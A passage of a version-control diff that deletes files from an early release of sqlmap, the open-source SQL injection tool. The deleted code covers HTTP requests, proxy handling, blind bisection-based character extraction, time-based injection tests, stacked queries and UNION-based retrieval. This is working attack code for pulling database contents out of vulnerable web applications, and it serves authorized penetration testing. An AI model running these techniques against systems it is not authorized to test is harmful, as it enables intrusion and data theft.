if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
# By default it returns sequence matcher between the first untouched
# HTTP response page content and this content
conf.seqMatcher.set_seq2(page)
if getSeqMatcher:
return round(conf.seqMatcher.ratio(), 3)
elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:
return True
else:
return False
-275
View File
@@ -1,275 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import httplib
import re
import socket
import time
import urllib2
import urlparse
import traceback
from lib.contrib import multipartpost
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES
from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse
from lib.request.comparison import comparison
class Connect:
"""
This class defines methods used to perform HTTP requests
"""
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod
def getPage(**kwargs):
"""
This method connects to the target url or proxy and returns
the target url page content
"""
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None)
post = kwargs.get('post', None)
cookie = kwargs.get('cookie', None)
ua = kwargs.get('ua', None)
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
page = ""
cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response "
requestHeaders = ""
responseHeaders = ""
if re.search("http[s]*://%s" % conf.hostname, url, re.I):
requestMsg += "%s" % conf.path or "/"
else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if direct:
if "?" in url:
url, params = url.split("?")
params = urlencode(params).replace("%%", "%")
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page
else:
if conf.parameters.has_key("GET") and not get:
get = conf.parameters["GET"]
if get:
get = urlencode(get).replace("%%", "%")
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if conf.method == "POST":
if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"]
post = urlencode(post).replace("%%", "%")
requestMsg += " HTTP/1.1"
if cookie:
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try:
# Perform HTTP request
headers = forgeHeaders(cookie, ua)
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retries = 0
if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity"
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
for _, cookie in enumerate(conf.cj):
if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index]
if not req.has_header("Cookie") and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2]
if not req.has_header("Connection"):
requestHeaders += "\nConnection: close"
requestMsg += "\n%s" % requestHeaders
if post:
requestMsg += "\n%s" % post
requestMsg += "\n"
logger.log(9, requestMsg)
# Get HTTP response
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
except urllib2.HTTPError, e:
if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP "
exceptionMsg += "authentication type and valid credentials"
raise sqlmapConnectionException, exceptionMsg
else:
page = e.read()
code = e.code
status = e.msg
responseHeaders = e.info()
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
tbMsg = traceback.format_exc()
if "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target url"
elif "timeout" in tbMsg:
warnMsg = "connection timed out to the target url"
elif "BadStatusLine" in tbMsg:
warnMsg = "the target url responded with an unknown HTTP "
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
return None, None
if conf.retries < RETRIES:
conf.retries += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
else:
raise sqlmapConnectionException, warnMsg
parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += str(responseHeaders)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(8, responseMsg)
return page, responseHeaders
@staticmethod
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
get = None
post = None
cookie = None
ua = None
if not place:
place = kb.injPlace
if conf.parameters.has_key("GET"):
if place == "GET" and value:
get = value
else:
get = conf.parameters["GET"]
if conf.parameters.has_key("POST"):
if place == "POST" and value:
post = value
else:
post = conf.parameters["POST"]
if conf.parameters.has_key("Cookie"):
if place == "Cookie" and value:
cookie = value
else:
cookie = conf.parameters["Cookie"]
if conf.parameters.has_key("User-Agent"):
if place == "User-Agent" and value:
ua = value
else:
ua = conf.parameters["User-Agent"]
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
if content:
return page, headers
elif page:
return comparison(page, headers, getSeqMatcher)
else:
return False
-382
View File
@@ -1,382 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __goInference(payload, expression):
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced)
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Microsoft SQL Server":
if limitRegExp:
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression)
if count and count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def __goInband(expression, expected=None):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter.
"""
output = None
partial = False
data = []
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if condition:
output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ):
partial = True
if not output:
output = unionUse(expression, resetCounter=True)
if output:
data = parseUnionPage(output, expression, partial, condition)
return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
through inband SQL injection (if selected) and/or blind SQL injection
(if selected).
"""
expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression)
value = None
if inband and conf.unionUse and kb.dbms:
if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression):
"""
TODO: write description
"""
expression = cleanQuery(expression)
comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True)
return payload, page
-128
View File
@@ -1,128 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import httplib
import socket
import urllib
import urllib2
class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443}
def request(self, method, url, body=None, headers={}):
# Request is called before connect, so can interpret url and get
# real host/port to be used to make CONNECT request to proxy
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError, "unknown URL type: %s" % url
# Get host
host, rest = urllib.splithost(rest)
# Try to get port
host, port = urllib.splitport(host)
# If port is not defined try to get from proto
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
self._real_host = host
self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers)
def connect(self):
httplib.HTTPConnection.connect(self)
# Send proxy CONNECT request
self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
# Expect a HTTP/1.0 200 Connection established
response = self.response_class(self.sock, strict=self.strict, method=self._method)
(version, code, message) = response._read_status()
# Probably here we can handle auth requests...
if code != 200:
# Proxy returned and error, abort connection, and raise exception
self.close()
raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
# Eat up header block from proxy
while True:
# Should not use directly fp probably
line = response.fp.readline()
if line == "\r\n":
break
class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file
self.cert_file = cert_file
def connect(self):
ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, ssl)
class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
urllib2.HTTPHandler.__init__(self, debuglevel)
def do_open(self, http_class, req):
if self.proxy is not None:
req.set_proxy(self.proxy, "http")
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
urllib2.HTTPSHandler.__init__(self, debuglevel)
def do_open(self, http_class, req):
if self.proxy is not None:
req.set_proxy(self.proxy, "https")
return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-258
View File
@@ -1,258 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import threading
import time
import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.exception import unhandledException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
if kb.dbmsDetected:
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
showEta = conf.eta and length
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta:
if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg)
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx):
maxValue = 127
minValue = 0
while (maxValue - minValue) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
result = Request.queryPage(forgedPayload)
if result == True:
minValue = limit
else:
maxValue = limit
if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if maxValue == 1:
return None
else:
return chr(minValue + 1)
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length
index = [0] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
def downloadThread():
while True:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
charStart = time.time()
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
conf.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
conf.threadException = True
errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc()
# Start the threads
for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread))
thread.start()
threads.append(thread)
# And wait for them to all finish
for thread in threads:
thread.join()
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, str) and v != None:
partialValue += v
if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
dataToStdout(infoMsg)
else:
index = 0
while True:
index += 1
charStart = time.time()
val = getChar(index)
if val == None:
break
finalValue += val
dataToSessionFile(replaceNewlineTabs(val))
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ):
dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % finalValue
logger.info(infoMsg)
if not partialValue:
dataToSessionFile("]\n")
if conf.threadException:
raise sqlmapThreadException, "something unexpected happen into the threads"
return queriesCount[0], finalValue
-85
View File
@@ -1,85 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
def timeTest():
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with AND condition syntax"
logger.warn(warnMsg)
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
logger.info(infoMsg)
start = time.time()
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
kb.timeTest = payload
else:
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
warnMsg += "based blind sql injection with stacked query syntax"
logger.warn(warnMsg)
kb.timeTest = False
return kb.timeTest
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-149
View File
@@ -1,149 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.request.connect import Connect as Request
def __forgeUserFriendlyValue(payload):
value = ""
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
